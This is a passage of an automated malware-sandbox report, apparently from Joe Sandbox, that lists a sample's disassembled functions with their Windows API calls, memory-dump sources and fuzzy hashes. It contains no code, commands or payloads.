      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Window$EnabledForegroundIconicVisibleZoomed
      • String ID:
      • API String ID: 292994002-0
      • Opcode ID: 823c9779afd878d97ecc99f1b56ef9ecf8a7d526435fc575a642dec1e6f9dd48
      • Instruction ID: 5347e6eeee2c35e3a3080e83de1525a4242f8176f48fdc4335f36dcb23dbdd43
      • Opcode Fuzzy Hash: 823c9779afd878d97ecc99f1b56ef9ecf8a7d526435fc575a642dec1e6f9dd48
      • Instruction Fuzzy Hash: 71019232701210ABF7216BAA6C8576B6358AF45755F04002BF905E7262CB5CDC8586AD
      Function 00454555 Relevance: 7.5, APIs: 5, Instructions: 32timethreadCOMMON
      Download Yara Rule
      APIs
      • GetSystemTimeAsFileTime.KERNEL32(?), ref: 00454570
      • GetCurrentProcessId.KERNEL32 ref: 0045457C
      • GetCurrentThreadId.KERNEL32 ref: 00454584
      • GetTickCount.KERNEL32 ref: 0045458C
      • QueryPerformanceCounter.KERNEL32(?), ref: 00454598
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
      • String ID:
      • API String ID: 1445889803-0
      • Opcode ID: ce49a519204e3efa3a38d4ccfecad025a25cbb3f5171558189020a5d7d08fa74
      • Instruction ID: cce3aeb063afa98f1ec8b005d038f7efac3a4b28e447dbd033245065016be6b7
      • Opcode Fuzzy Hash: ce49a519204e3efa3a38d4ccfecad025a25cbb3f5171558189020a5d7d08fa74
      • Instruction Fuzzy Hash: 74F0A471C00215EBCB20ABB4ED4859E77F4FB58246F851561ED01EB151E634DE44CBD9
      Function 004240D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON
      Download Yara Rule
      APIs
      • SetErrorMode.KERNEL32(00000001), ref: 004240E5
      • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 00424183
      • FreeLibrary.KERNEL32(?), ref: 004241D9
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Free$DiskErrorLibraryModeSpace
      • String ID: #v
      • API String ID: 196386347-554117064
      • Opcode ID: ec9e2a6431ef558222c43363077eb0374d7a6db46bcaa8f577a68fa7ac60255b
      • Instruction ID: b200f007bc7906c09fc1daa9ee030b72ce8bb0e7a5c992d7f6e88266f231a153
      • Opcode Fuzzy Hash: ec9e2a6431ef558222c43363077eb0374d7a6db46bcaa8f577a68fa7ac60255b
      • Instruction Fuzzy Hash: FD318E31A00528EBCF04EF95EC448EEBBB8FF94310B41416BF901A7161DB38AD91CB99
      Function 00415D53 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 00414513: RegOpenKeyExW.ADVAPI32(00000004,0045DC34,00000000,00000001,?,?,?,?,004371E3,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,ProgramFilesDir,00000104,%.3d,?,?), ref: 00414532
        • Part of subcall function 00414513: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,-0000076C,?,?,004371E3,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,ProgramFilesDir,00000104,%.3d,?,?), ref: 00414549
        • Part of subcall function 00414513: RegCloseKey.ADVAPI32(?,?,?,004371E3,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,ProgramFilesDir,00000104,%.3d,?,?,-0000076C,?,0045DC34,00000004,?), ref: 0041455A
      • mouse_event.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00415DC9
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseOpenQueryValuemouse_event
      • String ID: 1$Control Panel\Mouse$SwapMouseButtons
      • API String ID: 3120867179-1333076132
      • Opcode ID: 4397a220816a50afef8ed950c651321602ee1f04abf46bd2a497226114d5da3a
      • Instruction ID: 64686344fb700abdcb6185f0ad728c85fdaca3d4a8d255f7137e8337f52e2b96
      • Opcode Fuzzy Hash: 4397a220816a50afef8ed950c651321602ee1f04abf46bd2a497226114d5da3a
      • Instruction Fuzzy Hash: 3A012BB6B50700FEE3101670ACCAFFB215CE780359F24853BBB12D10C2E1E84EC58129
      Function 00441961 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 77COMMON
      Download Yara Rule
      APIs
      • __time32.LIBCMT ref: 00441976
        • Part of subcall function 0044B9D2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,00442B13,00000000,00000001,?,?,00000000,?,?,00442BE4,00442E41,00000001,?), ref: 0044B9DB
        • Part of subcall function 0044B9D2: __aulldiv.LIBCMT ref: 0044B9FB
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Time$FileSystem__aulldiv__time32
      • String ID: 0zG$XzG
      • API String ID: 946151114-99799804
      • Opcode ID: 0a5a7a05a70f3a69a59080a7637f812f2389dac8b37ab6b771aeb470bcc81c72
      • Instruction ID: 783faa91bd414bdfaf2ef5467989aa4ddd3d2fe93f43507dbe2697d40eb1a71c
      • Opcode Fuzzy Hash: 0a5a7a05a70f3a69a59080a7637f812f2389dac8b37ab6b771aeb470bcc81c72
      • Instruction Fuzzy Hash: 6321B3732147058FE728CF65D8D069BB3E2FBC8310F218A7DD29543340C7B5A9458B98
      Function 00425838 Relevance: 4.6, APIs: 3, Instructions: 117fileCOMMON
      Download Yara Rule
      APIs
      • FindFirstFileW.KERNEL32(00000000,?), ref: 00425866
      • FindNextFileW.KERNEL32(00000000,?), ref: 004258B2
      • FindClose.KERNEL32(00000000,000000FF,00000000), ref: 004258D2
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Find$File$CloseFirstNext
      • String ID:
      • API String ID: 3541575487-0
      • Opcode ID: b4086b0004da9266bd89cc4c01b358ffc22e49f7f88f5f165af3cf6b422538bf
      • Instruction ID: 387268721af71cf1c6543a3d80bd9fbe587f0a90bbb93b6ddb93adfe5e295de9
      • Opcode Fuzzy Hash: b4086b0004da9266bd89cc4c01b358ffc22e49f7f88f5f165af3cf6b422538bf
      • Instruction Fuzzy Hash: 2931B271700624AFDB14FF69EC44AAE73A8AF95324F5100ABF405DB2A1DB78DD848B58
      Function 00414E16 Relevance: 4.5, APIs: 3, Instructions: 21fileCOMMON
      Download Yara Rule
      APIs
      • GetFileAttributesW.KERNEL32(004102DA), ref: 00414E22
      • FindFirstFileW.KERNEL32(004102DA,?), ref: 00414E37
      • FindClose.KERNEL32(00000000), ref: 00414E47
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: FileFind$AttributesCloseFirst
      • String ID:
      • API String ID: 48322524-0
      • Opcode ID: 09d9633bee1d13ec756f5857c6e115d2227fef6d1876f1372ecb636deebfb824
      • Instruction ID: d6754715d604e333232b506108b618bc4b0216c56dbbe0cb7bf54d6593a8388b
      • Opcode Fuzzy Hash: 09d9633bee1d13ec756f5857c6e115d2227fef6d1876f1372ecb636deebfb824
      • Instruction Fuzzy Hash: C6E04F30500A19DBDF105F34EC8C5D93BA9BB44326F004360F529D11E0D734DD805A48
      Function 00444317 Relevance: 3.8, Strings: 1, Instructions: 2537COMMON
      Download Yara Rule
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID:
      • String ID: DEFINE
      • API String ID: 0-476076250
      • Opcode ID: 4cd9f22dd4d8e7a1e77560c9528b965c59038797c3e1a5821d6ad4ad87d6940d
      • Instruction ID: 7aecf970a3a8e93d399c44997cf67bf7929d5b2573a6a00c81d727fb5452ea2e
      • Opcode Fuzzy Hash: 4cd9f22dd4d8e7a1e77560c9528b965c59038797c3e1a5821d6ad4ad87d6940d
      • Instruction Fuzzy Hash: 9623C270904689CFEF29CF28C8847AA7BE1BF56314F18425BEC9587382D379D845CB99
      Function 00442AF9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 82COMMON
      Download Yara Rule
      APIs
      • __time32.LIBCMT ref: 00442B0E
        • Part of subcall function 0044B9D2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,00442B13,00000000,00000001,?,?,00000000,?,?,00442BE4,00442E41,00000001,?), ref: 0044B9DB
        • Part of subcall function 0044B9D2: __aulldiv.LIBCMT ref: 0044B9FB
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Time$FileSystem__aulldiv__time32
      • String ID: +D
      • API String ID: 946151114-3824217212
      • Opcode ID: eb6d8e38119604e5ecbc05b95a4c0e3d0631e116cc63d23bbe6006d2fa1c343e
      • Instruction ID: 3f4e2e8da5fcfa9112af9d4ed207b4293ac1f413c7f7c23dbf4774f4b5517054
      • Opcode Fuzzy Hash: eb6d8e38119604e5ecbc05b95a4c0e3d0631e116cc63d23bbe6006d2fa1c343e
      • Instruction Fuzzy Hash: 132160B27057058FF728CE26D8C169AB3E2FBC8310F10CA7DE59547349DBB5A9098B94
      Function 00421E0D Relevance: 3.3, APIs: 2, Instructions: 273COMMON
      Download Yara Rule
      APIs
      • WritePrivateProfileSectionW.KERNEL32(00000000,00000004,?), ref: 004220D9
      • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 004220EF
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: PrivateProfileWrite$SectionString
      • String ID:
      • API String ID: 1636597714-0
      • Opcode ID: 2fe0590e1bec297b2b53efcd2bcb54b23a2b77e32fabf4889c7636eb03f93f4c
      • Instruction ID: 41e22bb6b735dafa583f05a5a75da0cc7ce4db423ea27564a8c965bf69171114
      • Opcode Fuzzy Hash: 2fe0590e1bec297b2b53efcd2bcb54b23a2b77e32fabf4889c7636eb03f93f4c
      • Instruction Fuzzy Hash: B891A331A00224DBDF14EF65D8815AEB3B0EF14354B5640ABED469B262E77CDD82CB89
      Function 0042320D Relevance: 3.0, APIs: 2, Instructions: 46fileCOMMON
      Download Yara Rule
      APIs
      • FindFirstFileW.KERNEL32(00000000,?), ref: 0042323A
      • FindClose.KERNEL32(00000000), ref: 0042325E
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Find$CloseFileFirst
      • String ID:
      • API String ID: 2295610775-0
      • Opcode ID: 7770723f4f9b996c252b264d8fe0422cad5cd13d76bb5b2bdba4b77e072fc959
      • Instruction ID: c4933798ba476dde919d29639dc325125ccc6a047a15631857b1ceac9a992607
      • Opcode Fuzzy Hash: 7770723f4f9b996c252b264d8fe0422cad5cd13d76bb5b2bdba4b77e072fc959
      • Instruction Fuzzy Hash: BA01AC35600124EFDB04EFB4EC49A9A7368EF04315F45459BF515E7151DB7CED408BA8
      Function 0041FE6D Relevance: 3.0, APIs: 2, Instructions: 15windowCOMMON
      Download Yara Rule
      APIs
      • GetLastError.KERNEL32(00000000,0047C7A0,00000FFF,00000000,00430AD3), ref: 0041FE82
      • FormatMessageW.KERNEL32(00001000,00000000,0047C7A0,00000000,0047C7A0,00000FFF,00000000,00430AD3), ref: 0041FE96
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorFormatLastMessage
      • String ID:
      • API String ID: 3479602957-0
      • Opcode ID: dd82efffa5ef5c9c6af22be833fc05ef6f0753360673561712eceafa60732e9f
      • Instruction ID: c2c8ca3dea8f0c5a38abd3087de055dd5e24164f276729080913858088cce966
      • Opcode Fuzzy Hash: dd82efffa5ef5c9c6af22be833fc05ef6f0753360673561712eceafa60732e9f
      • Instruction Fuzzy Hash: 0FD0A7342C8303FFF33017648D0AF5A35105F48F23F508635B356A81E58BA44C45DA2E
      Function 00448776 Relevance: 1.9, Strings: 1, Instructions: 611COMMON
      Download Yara Rule
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID:
      • String ID: ERCP
      • API String ID: 0-1384759551
      • Opcode ID: 479f377b880dda84ea853ff97b5a5ff1585bee0e9e78e8026ae9ae4123f2b462
      • Instruction ID: 654fd696aad107bd195fdfe68b57e88e12f3403e69378b9dca93805a73d838bf
      • Opcode Fuzzy Hash: 479f377b880dda84ea853ff97b5a5ff1585bee0e9e78e8026ae9ae4123f2b462
      • Instruction Fuzzy Hash: EF329DB19016599FEF24CF68C8806AD7BB1BF45304F28422FE865E7391DB78D881CB59
      Function 00450F74 Relevance: 1.7, APIs: 1, Instructions: 246COMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • RaiseException.KERNEL32(?,00000000,00000001,?,00000000,0000FFFF,00000000,?,004515D4,?,?,00000008,0044BBEC,?,?), ref: 00451169
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ExceptionRaise
      • String ID:
      • API String ID: 3997070919-0
      • Opcode ID: f29f5f1e06620f11fdf18836ee7d66135a7f06a95b8ce2653fe6971efe1d0d26
      • Instruction ID: 2d1a639c7c72d4963f71cf90ae7f89567825e216aa2bbda0b33cc7afab0cf17d
      • Opcode Fuzzy Hash: f29f5f1e06620f11fdf18836ee7d66135a7f06a95b8ce2653fe6971efe1d0d26
      • Instruction Fuzzy Hash: 05A18B311106449FD71CCF18C496B657BE0FF08352F19869EED9A8B2F2C738A985CB44
      Function 004558FF Relevance: 1.5, APIs: 1, Instructions: 26COMMON
      Download Yara Rule
      APIs
      • GetLocaleInfoA.KERNEL32(?,00001004,?,00000006), ref: 00455921
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: InfoLocale
      • String ID:
      • API String ID: 2299586839-0
      • Opcode ID: 68f1808b20100e82de70a732d53f896afdefe70c9edcaf70261d79a69c1b16a8
      • Instruction ID: 9693ef09c43c1888ae501eb5287d094d7ef636fd7f1e62dc01fc27b31f94f117
      • Opcode Fuzzy Hash: 68f1808b20100e82de70a732d53f896afdefe70c9edcaf70261d79a69c1b16a8
      • Instruction Fuzzy Hash: BEE09B71F04208FBDB00DBB4D845B9E77B89F08329F11016EF915D61D1D678D608465A
      Function 0043738E Relevance: 1.5, APIs: 1, Instructions: 7COMMON
      Download Yara Rule
      APIs
      • GetUserNameW.ADVAPI32(?,?), ref: 004373A0
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
